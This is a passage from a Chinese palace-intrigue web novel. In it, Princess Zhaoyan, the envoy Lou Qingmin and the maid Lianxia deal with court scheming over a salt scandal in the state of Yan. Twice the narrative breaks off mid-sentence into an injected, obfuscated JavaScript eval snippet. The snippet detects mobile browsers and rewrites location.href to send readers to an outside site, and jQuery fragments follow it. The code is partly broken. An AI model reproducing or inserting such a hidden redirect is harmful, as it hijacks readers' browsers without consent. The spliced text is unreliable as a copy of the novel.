他怕不是与前世的衡无倡一样,野心过于庞大,想扩张领土将燕国占为己有!思及此朝颜胸间一阵胆寒,不论如何,她都必须阻止这一切的发生。 她摩挲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405608|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着匕首忽然将它扬起,问赵成延:“娄少傅可见过此物?” “见过,但娄大人貌似并不意外。” 娄卿旻不意外实属正常,他心思缜密,居安思危,总能想到众人想不到的地方,朝颜也总感觉那男人有什么事瞒着她,她要找个时机与他见上一见。 姜家一时半会儿走不了,那王酉铭若有心赶人,势必还会在背后搞出些小动作,人心难测不得不防,至少要在他动手之前有所准备。 朝颜与姜贯一齐回到内城宫中便听闻燕国国君召娄卿旻入住公宫,说是方便与他商议公事,但众人都知晓国君的别有用心,表面将他奉为座上宾,实则背地里早就派人监视他的一举一动。 传言娄卿旻自入住公宫后便整日闭门不出,燕国众臣都不信一个人竟能做到如此安安分分闭门自守,但偏偏他将自己关在宫里不见任何人,一连数日朝颜都未得到机会与之相见。 * 更深露重,月色朦胧,整座城池全然被暗夜覆盖,富丽堂皇的府邸在皎洁月色照射下闪着微光,宽大板瓦上遍布着层层水沥,混成水珠,一滴一滴从瓦面上滑落跌至泥地,消散地无影无踪。 唯有一间寝室内还掌着灯,在暗夜下极其显眼。 侍卫敲了敲门,正门大开,便见一中年男人十分认真地坐在案前,手上端着竹简,正逐字逐句对账。他传话说藏于后宫的暗探回来了,王酉铭便放下竹简快速将人唤进殿内问话。 “如何了?” “回大人,那娄少傅今日依旧是闭门不出,并未有何可疑举动。”暗卫正值青年,说话一板一眼的。 暗卫们连着来回几日反复在宫内探查都没查到任何东西,都自觉无趣想换个任务执行。但王酉铭还是对娄卿旻不放心,言语间有几分愤恨不平:“若不是他在背后搞小动作坏我好事,那粗盐之事怎会如此快便被国君察觉?” “继续盯着!” “是,大人。” 王酉铭极其很火恼,蓦地想到姜贯,又问:“国君新封的那位芝麻小的官可有什么动静?” “已经上任三日了,那人除了看书便是整理书册,除此之外再无其他。” 王酉铭虽然听燕融说是随意提拔了个文官,但他背地早就调查清楚那人是姜贯专程向国君举荐的,只要与姜家有关,他便不能放任不管。 他动了几下笔墨,看似慈祥的眉眼间流出一抹狠戾,嗓音尤其深沉,“也不知他与姜贯是何种关系,竟让姜贯那样居高不下之人也学会低三下四为他谋官职了,不过纵使他姜贯举荐到国君面前又能怎样?不过也只是个在整日窝在藏室守着破书的呆子,掀不起半点风浪。” 贩卖粗盐本是不值一提的小事,奈何这几人把它抬到明面上,偏偏还多了个娄卿旻,否则国君才不会在乎是否有人私下敛财,如今可倒好,弄得燕融在华纪面前也没了脸面,这几日与他说话的语气都重了不少。 一想到都是姜宣同那小子惹得祸,王酉铭便恨不得将他杀了。知道他背后还有姜贯,姜贯背后还有千万百姓,百姓身后又有家眷士兵,牵一发而动全身,王酉铭头疼得不得了。 他越想越愤恨,越想越气,最后端起一旁的茶杯狠狠地摔到地上,语气极大:“他姜贯真以为这世道需要什么贤能之才?世间只他姜家会善待百姓,只他一家人会恪守尽职?” 底下的暗卫急忙安抚他:“大人息怒。” 忆起姜宣同那小子居然自己投案告发自己,王酉铭心中自然而然地对姜家产生一股极大的厌恶憎恨,火气大得很。 “自恃功高,愚蠢至极!”言语尽是不屑。 他所作所为不也是为了燕国?若真与普桑打好关系,日后也能站起来与华纪说话,否则他们燕国人一辈子都居于华纪之下,永远低旁人一头! 王酉铭忽的想到什么,问:“姜宣同的伤还未好?”暗卫还未接话,他又道:“本官写封信你拿去催催赵成延,让他尽快动手。” “是。” 说罢王酉铭便取出半块丝帛在其上寥寥写了几句递给暗卫,暗卫乘着夜色将东西送到大司寇府上便又潜伏进王宫监视娄卿旻。 23. 内城风波(六) 秋意深浓,已渐入十月。 风和日暖的晴朗天过去后又连绵不绝地下了几日雨,乌云压顶气候阴沉,寒风在宫内四处飘荡,室内阴冷潮湿,室外暗无天日不见明朗,整个人都变得萎靡不振毫无食欲。 听说姜宣同昨日已经行了刑,姜贯将伤痕累累的人抬到外城,专程租了间上房照料他。朝颜得知此消息后,忧虑的心又提到了嗓子眼。 本以为还能继续拖一段时日,不料赵延成竟提前动了手。 她身为华纪公主,自是无权干涉燕国大司寇如何处事。赵成延为人已经足够讲义气了,先前得知是她出主意让姜宣同自投罗网便十分感激她,偶尔与她说粗盐之事的进展。 定是那王酉铭对赵司寇施加压力才不得已提前对姜宣同行刑,她本就忧虑燕国,而今又多了姜家与王家,诸多琐事压在她头上却找不到半点突破口,无处言说,一来二去便不小心染上了风寒,几日下不了榻。 自从粗盐之事暂时平息,朝颜住进燕国王宫后,就又把羽堇派出去寻找太子朝饶的消息了。 她身边只剩槐夏与连瑕,两个女子没经过大事,见朝颜重病后很是担心,整日细心照料着,也不敢有什么动作。 槐夏自幼在华纪长大,与宫内绣娘待过的时间很长,耳濡目染,在女红方面造诣极强,便用王后送来的布料叫上两个燕国绣娘为朝颜亲手赶制新衣、衾被,想着过了季秋便是冬日,提前准备好这些东西以便保暖。 而连瑕为人妇多年,日夜操劳,拥有一手精湛的厨艺,二人便分工做事。一个为朝颜赶制新衣,另一个便负责每日去太医院取药取菜,为朝颜做些药膳。 本应给朝颜开些药方治病,奈何良药苦口,她自小不爱吃药,槐夏便想着让连瑕制些药膳,好吞咽。 自槐夏第一日担任公主贴身内侍起,便知道太子在公主患病时总把药制成膳食后送到公主手上,她才勉强吃几口,从前太子在华纪时很宠爱胞妹,一来二去就养成了习惯。 朝颜被病痛摧残时常难受得咳嗽,离不得人,槐夏便让连瑕独自去膳房。临走时她千叮咛万嘱咐让连瑕避开宫中贵人,遇到人及时行礼,小心翼翼别出半点差错。 谁知连瑕随了朝颜,回宫时半路拐岔了方向便迷了路走到一处殿宇后门,她左顾右看觉得四周很陌生,正要离开忽然迎面撞上一队人马,声势浩荡。 她脑子转得快,一下便反应过来槐夏先前告诫她的话,想到能在宫里带这样多人马的人身份一定非富即贵,若是得罪了便难逃一死,吓得她连忙向后退,看到棵巨树便跑过去隐在后面半点不敢动弹。 队伍愈来愈近,连瑕便也紧张了起来。 连瑕顺着下方悄悄看去便见到一双玄色金丝足履,大抵是个男子,不知怎地忽然停了脚步,连瑕躲在树后看着这一幕整颗心仿佛被人提了起来,大气都不敢出一下,屏气凝神,心里暗自催促眼前人快些离开。 事与愿违,她盼了许久,那双玄履始终没移动半点,不知出了什么问题,她偷偷向外探头瞥了一下,殊不知这一下便被人抓到了把柄。 “什么人!” 其中一个宫女发现了连瑕的踪迹,立刻跑上前来将她拽了出去。 连瑕就这样暴露在大众视野间,其余人见状纷纷吸了口凉气,看着为首宫女用力拉扯着连瑕的衣襟,表情十分嫌弃,“你是何人?鬼鬼祟祟,不知此处是敬文君的宫殿,外人不得入内?胆敢在此躲藏徘徊你是何居心?” 闻言连瑕立刻垂下头,“我……奴不知此处是贵人的地盘,无意闯进来的。” 哪知宫女瞬间就恼了,“你犯上作乱私窥贵人容颜,无视宫规还在君主面前自称‘我’,该当何罪?” 女子气冲冲说完便将连瑕手中的膳食一把打散在地,滚烫热汤撒了一大片,浸湿了女子的鞋袜,烫到脚面,女子嘶了一声,怒气直接冲上顶峰,“来人,将这个贱婢拖下去打二十大板,再把她的眼挖出来埋入土地,看她日后还敢不敢做此等秽乱之事!” 她话语狠辣,声音很大,模样高高在上十分嚣张。 连瑕被这人不可一世的姿态吓了一颤,顾不上去收拾地下散落的残局,连连后退。 身侧几个宫女听完女子的命令便对着连瑕一涌而上,连瑕见躲避无果便以迅雷不及掩耳之势半蹲在地挣扎着,慌乱中,一眼找到人群缝隙外站着的贵人。 见其模样清秀,举止尊贵,连瑕向下探看,发现正是方才那双鞋履的主人便即刻低头弯腰向他道歉:“大人息怒,大人息怒,我不是故意的,请大人饶我一命,今日,今日是迷路了,我日后再也不敢了,求大人饶命!” 男子穿着蓝色锦袍,腰间系着莹白玉组佩,衣着富贵,仪态端正,见连瑕求情,他一副欲言又止的面貌,迟疑了半晌还是未开口接话。 眼下连瑕觉得自己惹上麻烦,顿时手足无措。 早前她便听槐夏说宫里贵人们身份极其尊贵,若惹到了会杀头,她整日都小心翼翼地与其余人待在一起从未遇见今日的情况,哪里知道第一次独行就出了岔子。 几个宫女趁连瑕不注意在身后推了她一把,使得连瑕狼狈地摔倒在地,她们便直接将她架了起来,为首宫女见人越过自己向自家主君子求情,眼睛都瞪直了,愤愤不满地怒吼: “你这贱婢是从哪儿来的?竟半点宫规都不懂,冲撞了君主你十条命都赔不起!” “快!你们还愣着做什么?快将她拉下去打啊!” “大人饶命!大人饶命啊!”连瑕挣扎着。 连瑕从前在外城干过些许粗活,手上力气大得很,见宫女不放过她,她便使足了力气反抗,好不容易摆脱宫女的束缚,抬头见自己被人群围在中间无处可逃,只能向男子那方转头,随后噗通一声跪趴在地,边磕头边解释: “大人!奴是前几日才进宫的,不懂宫规,实在是无意冲撞贵人!望您能给放我一马,奴婢日后定不会再犯!” “贱婢!你还敢狡辩!” 说着宫女将连瑕一把拽了起来,紧接着传出啪的一声,不过瞬间,白皙的面上便赫然印出了个红手印,肿胀了大片。 连瑕被打得一蒙,愣在原地。 宫女又唤身后人:“你们动作快点!把她拖下去!” 她本来今日就不高兴,偏偏看到面前这张颇有几分姿色的脸在君主面前晃荡,碍眼极了。 敬文君每月十五回宫探望国君,此事早已成习惯,燕国上上下众人皆知,哪里会有什么宫外来的不知晓此事的人? 敬文君燕晤姿容珏珏,家财万贯,又是国君胞弟,素来总有女子想爬上他的榻成为他的枕边人。 一想便知眼前女子是故意而为,就想获得君主另眼相看,思及此她心里一阵不平,厌恶情绪涌上心间,索性想一不做二不休杀了此人。 反正宫里时常死人,只不过一个小小宫女,消失了也无人会在意。 她已经被怒气冲昏了头,也不去想眼前人有何来历。 燕晤在一旁看了许久,见手下人如此得理不饶人,他俊秀的眉头拧在一起,终于忍不下去,唤了那宫女的名字: “桃月,不若放过……。”他实在不想因为自己被看一眼就白白搭上一条人命。 不料话还未说完便被桃月接过,“君主,您千万别心慈手软,这女子躲在树后明摆着就是故意窥视您的,哪里是不懂宫规,分明是有意不尊重您,您不能总这样良善,上次您便饶过旁人一回,若次次都不罚,日后还会有谁能把您放在眼里?” 君主虽然被国君封为敬文君,但都是表面做做样子实际并无实权。 桃月跟在他身后五年之久,早就摸透了自家公子的性子,过于软弱可欺,善良待人。 燕国如今在燕融手上,他还能勉强做他那个无忧无虑的王弟,若有朝一日改朝换代亦或是兄终弟及,以燕晤这样的性子怕是会被架空成一个傀儡。 而燕晤自幼酷爱看书,所思所想本就与旁人不一般,只想心无杂念在府上做个安分公子,胸中没有半分贪权恋位的志向,更不懂旁人的别有用心。 如今被桃月这几句话给挑唆了,他一下子不知道该说什么,“这……” 桃月没再理会自家君主,转头便换上一副不好惹的表情,盯着面前几位宫女,怨声满道:“还愣着做什么?还不拖下去!” 宫女又围了上去。 连瑕一人无法与多人对抗,只能被架着离开,眼下真真慌了,不禁吼破了嗓子祈求天降神明来救她,“放过我吧!” “求大人饶命!” “阁下且慢!”远处一道颇具磁性的悠扬嗓音打断了连瑕的求救声,架着连瑕走的那几位宫女也随之停下脚步。 众人回望向声音源头,才见到一男子从石子路的那头走来。 男子头顶一发冠,身着青衣直袍,腰间莹白玉玦随着他的步伐飘飘荡荡,碰撞着带钩传出一阵聆听响声,远远看去,举手投足尽是雍容华贵,模样一表非凡,一看便知是位翩翩君子,遗世独立,是众人未曾见过的陌生面孔。 连瑕是最先反应过来的,她趁宫女愣神的功夫挣扎开,立刻跑向娄卿旻的方向求他救命。 娄卿旻任由连瑕躲在身后,想到自己方才听到这边一阵躁乱,知道自己竟撞上燕国宫女在此狐假虎威,惩罚下人,那架势一听便是仗着背后有人撑腰便无法无天,滥用权力。 若是从前的他,根本不过多关注这些琐事,但他听到女子的声音熟悉,猜到是朝颜救下的那个女子,连忙出声将这些人留下。 先前因为坐视不理旁人事已经与朝颜拌过嘴,若眼下见死不救被她知晓,她定会责怪自己。 总归欠了她几个人情,能帮则帮。 这些时日他一直闭门不出,一来是发现总有耳目暗地跟踪,索性直接闭门不见客,在寝殿内绘制燕国地图。二来便是让人寻了燕国朝官的画像,将满朝文武上下全部认个清楚。 回忆这几日看过的百官模样,眼前被宫女围在中央的男子穿着与王室类似的袍服,都是上衣下裳宽袖式的,腰部还悬着枚难得一见的龙凤虎纹玉佩,便猜出他的真实身份。 而对方见到娄卿旻时,眼睛蓦地睁大,带着股淡淡的惊喜,忙加快步伐走上前去问他:“莫非阁下便是华纪来的那位娄少傅,娄大人?” 娄卿旻点头认了下来,纵使知道眼前人身份他还是客气问了句:“阁下是?” 只见燕晤扯着唇角一笑,满面容光朝着娄卿旻拜了一下,“在下名为燕晤,乃国君的亲王弟,在下仰慕大人许久,今日一见大人果然与寻常人不同,如此人中龙凤,连模样都这样俊秀。” 娄卿旻早知晓燕融还有个一母同胞的弟弟,仔细看看发现二人眉眼间确实有几分相似,都是那样平易近人雍容尔雅。 听人夸赞,他心中没什么波澜,面带微笑自觉接过话:“敬文君不必如此夸赞,敢问这位宫女犯了什么错?” 他目光落在连瑕身上。 “她……” 燕晤虚溜拍马有一套,到这些小事上反而不知如何解释,正左顾右盼想托词,一旁的桃月趁机便替他回答了:“启禀这位大人,这宫女故意闯入我们君主的地盘非但不行礼还躲在树后偷窥,实为对我们公子大不敬!” 见娄卿旻不言不语,连瑕匆匆解释:“回大人,奴婢没有偷窥,奴是出来替公主熬制药膳,不慎迷路才闯入这个地方。本来是想避着贵人等他走了再出来,哪知贵人竟半晌没动,这才探头一看惊扰了贵人,这是奴婢的错奴甘愿受罚,但奴不想死也不想被挖双目!” 她好不容易被朝颜从虎口救出,怎地要死在看旁人一眼的事上? 听完连瑕的解释娄卿旻便懂了,想着她初次入宫不懂规矩实属正常,便替她向燕晤求情: “公子有所不知,这位宫女是朝颜公主自外城带来的,跟在身边不足半月便一同进了宫,今日确实是不了解宫规礼仪才冲撞了公子,您大人有大量,望海涵,饶她一命。” “但是她确实以下犯上……”桃月显然不想放过连瑕,还想纠缠。 娄卿旻听这宫女一直叽叽喳喳、反反复复说个不停,完全不把燕晤这个主子放在眼里,没有半点敬重主子的模样,实在过分,实在不成规矩。 他犀利的目光落在桃月身上,开口批评道:“她是外来的新人不知宫中规矩,你在燕国多年你也不知?如此盛气凌人与朝官使臣顶嘴你便半点错都没有?” “还是说,你知法犯法,有意挑衅本官?”娄卿旻语气明显重了,表情严肃不怒自威,让人看了有些害怕。 扑面而来的气势压迫着桃月,她一时受不住这眼神,意识到什么,立刻趴跪在地下道歉:“大人对不起,奴婢知道错了,奴婢就是一时心直口快,还望大人莫怪。” 说起来冲撞官员一事看似不足挂齿,实则深究起来也要人命。 一旁观望的燕晤终是回过了神。 他不想将事情闹大,看着二人一高一低的姿态,忙将视线转到娄卿旻面上,干笑一声,言语间却是在说连瑕的事:“罢了,那位姑娘也不是故意的,这次便放过她。大人您也别与我这个小侍女计较,她也权是为了维护我才顶撞大人,若有错也是在下看管不严,对不住大人。” 娄卿旻没接他的话,反而将目光转到桃月身上,“敬文君如此决断,一心为你求情,你是否还有异议?” 言语凉薄,面目冷情。 见状桃月随即又磕了个头,语气早已不似先前那样盛气凌人,满嘴求饶,“奴不敢有异议,奴婢知错了,全凭大人与君主做主。” …… 像桃月这般的人比比皆是,恃强凌弱,只会欺负比她低一级的人,实在是小人之举,娄卿旻一向不将这类人放在眼里,若非替连瑕说话,他是一句话都不会与之多说,实在是荒废自己的时间。 眼下桃月被他几番言语制住,日后还不知会如何拿手下人撒气。想到这儿他也没发话让桃月起身,故意让人涨涨教训,她便一直跪在原地。 燕晤静静立在娄卿旻身侧,男人身上有意无意散发的威严也将他震慑到了,他压下到嘴边的话,没再替桃月出头。 娄卿旻作势要离开,抬步前唤了燕晤一句,二人便慢悠悠迈步向前,连瑕紧跟在他们身后。 闹剧结束,方才闹事的宫女全部跪在原地,唯燕晤跟着娄卿旻前进,走到半途他终是忍不住了,最先开口:“娄大人,您何时离开燕国?在此之前我想请您去我府上坐坐。” 他虽被娄卿旻方才模样唬住了,但想起娄卿旻的本领和手段,还是忍不住想多与他说说话,看看是否能从中学到一星半点。 “在下还要去探望先生,需再逗留些时日。”娄卿旻解释道。 “大人的先生?” 燕晤来了兴致,“可否问问尊师名讳?” “我前些日子读了些史书,看了从前往事与一些人生哲理,发觉有许多地方都晦涩难懂,也想寻个先生为我授业解惑,若可以,大人能收我为弟子吗?” “或者将您的先生引荐于我,我也想好好读书学习,看日后是否能成为像大人您一般的人,为国效力!” 说着燕晤还有几分激动,手舞足蹈,手指紧张地捏着那枚龙凤虎纹玉佩,恨不得马上见到娄卿旻的先生。 “君主高看在下了,在下之能还不足为公子之师,不过您不必心急,待我安顿好琐事便邀您一同去见先生。” “谢大人!” 娄卿旻顿然停了步子,看向身后半张脸红肿的连瑕,想到她方才所言,便主动向燕晤辞别,“在下还要将这位侍女送到公主那里,失陪了。” 燕晤垂首点头,对男人颔首做了个请的动作,语气恭恭敬敬:“大人您自便就好。” * 娄卿旻将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405609|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连瑕送来时,朝颜已经睡醒了一觉,身子明显轻便不少。 连着几日未下床,身边有人侍奉,她想起槐夏连瑕二人跟着她好几日都好好休憩过,便遣槐夏去偏殿休息。 自己忆起这些时日发生的事,则是端起老本行,想着在竹简中找到些计谋用于己用。 殿内无人通报,面前冷冷的,她自觉裹紧衾被,忽的抬眸一看,这才瞥见帮自己制药膳的连瑕正站在不远处,眼眶红红,表情苦闷,似乎受了天大的委屈。 正是太阳落山之际,大殿微暗,但连瑕那红彤彤的脸颊还是暴露大半,朝颜仔细看去,竟是一个巴掌印记! 她身子一僵,被吓了一跳,顾不上病态,光着足便下了榻。 匆忙间已经跑到人面前,嫩白的柔荑抚上连瑕泛红的侧脸,声音很细很轻,颤抖着:“连瑕,你这是怎么了?为何伤成这样了?” 连瑕移开脸,后退一步朝着朝颜一拜,“此事说来话长,奴婢稍后给殿下解释。还有一事要禀明殿下,娄少傅来拜访了,公主可要见见?” 朝颜见连瑕忽然说话如此低三下四的规矩,表情极其不自然。 又说到娄卿旻,她猛然联想到连瑕的伤,怕不是冲撞了人挨罚了?心道多日未见娄卿旻,怎地一见面还送她个大礼? 她让连瑕唤娄卿旻进大殿,自己则是回榻上穿了鞋袜又披着大裘走出寝殿。 越过一扇描漆朱雀小屏,掀开淡色绸纱便看见青年男子稳重地站在三尺开外,像棵笔直的竹子一样,立在那,矜贵恬静,貌似还带着几分诗情画意的淡雅趣味。 她情不自禁多看了几眼。 男人听到朝颜脚步声回望过来,二人对视一眼,朝颜连忙收回眼中对他的欣赏,换上一抹疑惑与淡淡的对峙。 接收到朝颜质疑的情绪,娄卿旻忽然后退一步,义正言辞地解释:“公主万不要用如此眼神看臣,臣的身体发肤受之父母、弱不禁风,经不起公主此等大锅扣上。” 闻言,朝颜嘴角抽了抽,什么叫扣锅? 她的眼神就那样明显? 让人一看便识破了? “殿下,您莫要误会了娄少傅,是大人他救了我。” 连瑕上了药后匆匆回来,便听出娄卿旻话里有话,怕二人生出嫌隙,连忙将所有事不加隐瞒全部告知朝颜,娄卿旻始终站在一旁沉默不语地观摩。 话中提到了从未打过交道之人,朝颜口中念着:“敬文君?” 前世燕融这个亲弟直到燕国覆灭都未传出任何消息,透明人一般,而今突然与他扯上了,这也意味着这场巨大的阴谋局中又多了一个朝颜需要救的人。 朝颜了解事实后愧疚地看着娄卿旻,语气慢下来,“大人,方才是我先入为主了,在此对大人说声抱歉,也要谢谢你救下连瑕。” 不过连瑕与他一同来,还一副委屈模样,实在是很难让她不多想。 “公主病了?”娄卿旻宽宏大量没再追究被冤枉之事,想起连瑕所说的话,又看到朝颜面容憔悴,情绪不高,身上满是病态之气便主动关心她。 “一点小风寒,无伤大雅,过几日便好了。” 朝颜勾唇笑了下,提醒他道:“我还记得大人那日所言,若大人想到什么好的法子定要知会于我!”姜家与王酉铭之事他们必须联手才能破局,若不然都没法心安理得地离开燕国。 男人了然于心,轻轻点了头,而后没再说什么。 送走娄卿旻,朝颜看向受伤的连瑕若有所思,过了许久,她忽然开口:“连瑕,或许你不适合待在宫里。” 她很认真地想了,宫里到处是暗线,各式各样的律法规矩将人束缚成无手无脚之人,只能任人宰割,而连瑕从小没接触过宫中礼仪便不懂那些,她这样在宫人眼里便是对王室大不敬,日子久了必然会生事端。 就如今日一般,就算你不主动惹别人,别人也不会放过你,一条命轻而易举便会丢失,倒不如宫外来得快活。 连瑕听完朝颜这句话瞬间怔住,直接扑通一声跪在地下,“殿下不要赶我走,我已无处可去,若您也不要我了那我便寻一处荒无人烟之地死了算了!” “说什么胡话?” 朝颜用力将人拽起,心下觉得连瑕这动不动就给人下跪的习惯真要好好改一改。就算是见了国君也不必如此低三下四,在她印象中,有错之人才需跪,无缘无故下跪亦是看低自己。 “求公主别不要我!” “我何曾说过不要你的话?我只是想给你安排些只有你能做的事。” “我?”连瑕一副难以置信的模样,只觉得公主高看了她,“我能做什么?我前半生除了孝敬公婆便是替夫君缝衣煮饭,哪里会做什么正事。” 朝颜很不满意她所言,“又在说胡话了。缝衣煮饭证明你的女红熟练,厨艺精湛,孝敬公婆又验证了你是个勤进且有孝心的人,怎地到你口中便不是正经事了呢?” 连瑕显然已经被公婆和夫君从前打压惯了,全然不觉得脱离他们,她在某些方面也是个特别的人才。譬如今日她懂得见机行事,虽然弄巧成拙,但也证明了她有独立思索的能力。 念及此,朝颜十分认真地看着她:“连瑕,这话我只同你说这一次。” “你记住,永远不要看轻了自己,要相信天生我材必有其用,不要妄自菲薄。我若真把你带在身边让你服侍我穿衣用膳才是大材小用了。人生不过短短几十年,若百年之后你回想起来,半生时间都围着我一人转,或许你会后悔的。” “公主别这样说,连瑕不后悔。” “若非您那时舍己为人将我救下,我现在早就成了别人后院里被困的雏鸟,只能痛苦活着。哪里能来到内城,见到这些个达官显贵,更是不会增长这样多的见识,过得这样舒心。” 连瑕是知恩图报之人,只觉得朝颜待她极好,这辈子当牛做马无以为报。 闻言朝颜垂眸一笑,拉着她的手与其同坐在榻上,语重心长:“日后我会嫁到别国和亲,我想在燕国留下人手替我看着燕国的一举一动,你可愿留在此处,成为我手下的第一个女管事?” 女子也可以管事? 连瑕又惊又喜,从前从未听说过,也从不敢想,如今朝颜提出这样匪夷所思的想法她很激动,火急火燎地接下话:“我愿意,我当然愿意。” 虽不知前路是否顺遂,但如果这是朝颜的期望,她愿意替她做事,也愿意做个不一样的自己,开辟一道属于她的别样人生。 见连瑕如此积极,朝颜望向女子的眉目里全是欣赏与信任。 她很早便思索这件事了,毕竟和亲之事已成定局,她若不为自己做打算留后路,便会让前世结局重新上演,她如今自身难保,不论去任何地方都是寄人篱下,为何还要再带着旁人入局? 连瑕那双好看的杏眼也带着坚定不移,语气凛然:“连瑕定不会辜负公主对我的信任!会百倍千倍地努力!” 既已定下,朝颜便托姜贯寻了泉城诸多旧识,为连瑕找来许多经商之书与账册让她临摹学习,而后又借着王后的名头在燕国外城弄了一块不大不小的地皮,请人建了座客舍酒肆,一楼用饭二楼住店。 期间姜贯偶尔也会去那里监工,总说那地方地段繁华人来人往,周围有许多小摊小贩,日后生意定是绝佳得好。 建起客舍的第一天,国君不知是从何处知晓此事,特意唤朝颜入宫,开出每年多纳一成的税,才准许客舍开业。 木已成舟,朝颜也愿意用小小的甜头来换取日后更长远的利益,便同意了。 而彼时的连瑕早已能料到,多年之后的她会万分感谢朝颜此刻替她想出的处所,也会感激如今自己的选择。 让她明白纵使出身低微,也可以寻找自己的远方,亦可成就更优异的自己! 更懂得女子不止有相夫教子一种生活,也能为自己而活,亦可挣万两金! 24. 内城风波(七) 说到泉城。 接到国君查封府邸的第二日,泉城城主府用了不到半日时辰便被全部封锁,贴上封条,府库财物全部充公,可谓清理得一干二净。 起初泉城百姓十分不满到还召集人群组成队伍要去司寇府上为城主大人讨要公道,还是姜贯亲自回城安顿百姓,这才没闹出大乱。 据说国君得知此消息极为愤怒,连着摔了很多东西,知晓他姜贯得了民心,时刻盯着国君的一举一动,他也不敢真对姜家做什么,只盼着他二人早日离开燕国。 仲清在姜家出事前便有预感姜贯要做何事,故而提早与下人们交代好一切事物,妥善安顿了他们。 他本没对姜贯所言抱有希望,却不料随着查抄府邸而来的还有让他上任的王命。 他高兴极了! 纵然只是个收拾藏室看管图书的小官,但对多年无人关注,从别国几经辗转却郁郁不得志的仲清来说也是个好机会。 天下大事必作于细,他自然也可以从小官做起,将来总有一日能站在更高的位置为国做贡献。 他带着自己为数不多的“家业”在外城找了个客舍住着,白日里去内城王宫里当值酉时才回来,日复一日,除去路上的奔波,还算得上清闲。 就这样熬了半月,这日他刚回到客舍,紧接着便听见门口传来一阵有规律的敲门声,他慢悠悠开门后便见到一个乔装打扮,裹得严实的人。 仲清二话不说请人进来,男子进门后主动将房门拍上,留下两个人在外面守着。 虽未见面目,但仲清还是猜出眼前人是他的学生,娄卿旻。 * 燕国国君耳目众多,监视着众人。 娄卿旻自那日见过朝颜之后便一直在宫内待着,他为了今日出宫赴约可谓费尽心思。 先是以送药关心为由去了朝颜那处,而后又假装得了王命,专程去盐场视察出了宫,不想半路竟发现身后跟着几个甩不掉的小尾巴。他直接转到一家酒肆藏身,趁机让暮均寻了衣物,乔装打扮一番才来此赴约。 近日气温骤降,天气寒微,市集行人们都是同样装束。 故而他也学着在外面穿了厚厚的裘衣来遮挡,面庞被一顶蚕丝帷帽覆盖,放在人群中任谁都看不出斗篷下的人是他。 静谧房间内,仲清定定看着男子掀开帷帽,褪下大裘,露出那张淡雅如风的面庞,他便忍不住点头赞叹。 他从前不止一次说过娄卿旻这张全靠父母传下来的面貌生得极好,让人看了赏心悦目,想与之亲近。 但唯独那张嘴,得理不饶人,总将人拦在十里开外近不得身。 娄卿旻边行礼边唤了一声“先生”,语气十分坦然。 客舍简陋没有桌案,仲清应下后便不急不躁邀他上榻同坐,娄卿旻静了几分没上前,反而站得远远的。 二人一个在这头一个在那头,中间距离如同隔着一条江般远,仲清看出他还如从前一样不喜与人过分亲密便也不强制让他同坐,沉默良久,蓦地开口问他:“你我二人有多久未见了?” “回先生,足足一年之久了。” 仲清恍然大悟,摩挲着下颚思索着上一次会面的场景。才想起去岁娄卿旻与太子朝饶一同出兵围剿山匪时,中途来了燕国一次,二人促膝长谈后便各自分别直到今日之前未再见过面。 前段时日姜家因粗盐短量出事,他便听闻有华纪使臣专程来此事,他猜出是娄卿旻了。 果不其然,后面便在百官口中传出他在大殿之上公然扯出两国对立的理由,借机让国君调查王家,便知娄卿旻还是那样只认死理不讲任何情面,坚持家国大事面前无小家,纵使撕破脸也不徇私舞弊,只想依法处置罪犯。 奈何燕融被小人蒙蔽了双眼,君王始终高使臣一头,最终只换来对王家的小惩。 至于为何解决粗盐之事迟迟不离开,仲清想他应是有了自己的思量。照他那一心除害的性子,不会任由王酉铭此等危及两国情谊的人嚣张太久。 忆起此等贤才君子是他的学生,他便为之骄傲自豪,想着想着便不自觉笑了起来。 娄卿旻在一旁沉默许久,见仲清笑了,以为他是为了姜大人为他求仕途之事高兴,又主动启唇道:“许久未见先生笑的如此开心了,先生上值这些时日应是欣喜的!” 仲清颇为满意地笑了笑:“是啊!” “也不枉我寒窗苦读几十年,苍天有眼,终于还是遇到属于我的伯乐了!日后我会好好报答他!” 他心知肚明,话中伯乐指的是姜贯,而那国君燕融只不过是卖姜家一个面子,他仲清不糊涂,知道真正施恩之人是谁。 说完了自己,仲清深邃的眼眸瞥向娄卿旻问道:“让我猜猜,你今日来此定不只是为了恭贺我,或者说,你是为了那个王酉铭?” 听到这话,娄卿旻深为佩服自己这位先生,什么都知晓。 随即抬起手到胸前对他行了揖礼,语气十分恭敬,“果然,什么都逃不开先生的慧眼。” 而后解释道:“起先是华纪太子失踪,后是公主逃婚,紧接着又听闻华纪与燕国合作粗盐之事出了岔子,学生便马不停蹄来到燕国,现如今又被卷入燕国的朝堂纷争中,事关两国联盟,学生不可能就这样放任王家作乱,但眼下又被燕国国君监视着,一举一动受挫实在有些自顾不暇。” “今日一来是想见见先生,二来便是想求先生指点。” 仲清直接哈哈大笑了几声,“我指点你?你小子未免太过谦虚了吧?其实照你方才所言,你的心里早就有答案了。” 也确实是王家手伸得过长,从前独占燕国经济大权便罢了,如今居然搅乱华纪与燕国的关系,甚至主动用华纪的盐向普桑示好,实在过于猖狂,娄卿旻忌惮他想除掉他也是正常的。 